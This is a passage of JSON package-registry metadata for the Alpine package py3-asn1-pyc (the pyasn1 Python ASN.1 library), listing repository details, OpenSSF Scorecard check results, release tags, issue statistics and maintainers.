py3-asn1","homepage":"https://github.com/pyasn1/pyasn1","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2023-12-01T02:29:22.000Z","latest_release_published_at":"2023-12-01T02:29:22.000Z","latest_release_number":"0.5.1-r0","last_synced_at":"2026-08-11T12:24:58.437Z","created_at":"2023-12-20T10:26:09.900Z","updated_at":"2026-08-15T09:21:24.912Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.19/community/x86_64/py3-asn1-pyc","install_command":"apk add py3-asn1-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.912Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-asn1-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.19","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-asn1-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-asn1-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-asn1-pyc/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-asn1-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-asn1-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-asn1-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-asn1-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-asn1-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-asn1-pyc/codemeta","maintainers":[{"uuid":"alpine@ptrcnull.me","login":null,"name":"Patrycja Rosa","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","packages_count":347,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","role":null,"created_at":"2024-08-26T13:04:54.068Z","updated_at":"2024-08-26T13:04:54.068Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/maintainers/alpine@ptrcnull.me/packages"}],"registry":{"name":"alpine-v3.19","url":"https://pkgs.alpinelinux.org/packages?branch=v3.19","ecosystem":"alpine","default":false,"packages_count":23031,"maintainers_count":392,"namespaces_count":2,"keywords_count":3176,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":906},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-12-20T09:51:56.346Z","updated_at":"2026-08-20T05:05:54.594Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/namespaces"}}],"commits":{"id":1638150,"full_name":"pyasn1/pyasn1","default_branch":"main","total_commits":960,"total_committers":31,"total_bot_commits":0,"total_bot_committers":0,"mean_commits":30.967741935483872,"dds":0.5489583333333333,"past_year_total_commits":21,"past_year_total_committers":3,"past_year_total_bot_commits":0,"past_year_total_bot_committers":0,"past_year_mean_commits":7.0,"past_year_dds":0.09523809523809523,"last_synced_at":"2026-08-20T00:45:56.820Z","last_synced_commit":"8003397013f6c0e0eabbd2605770477acbc2dc44","created_at"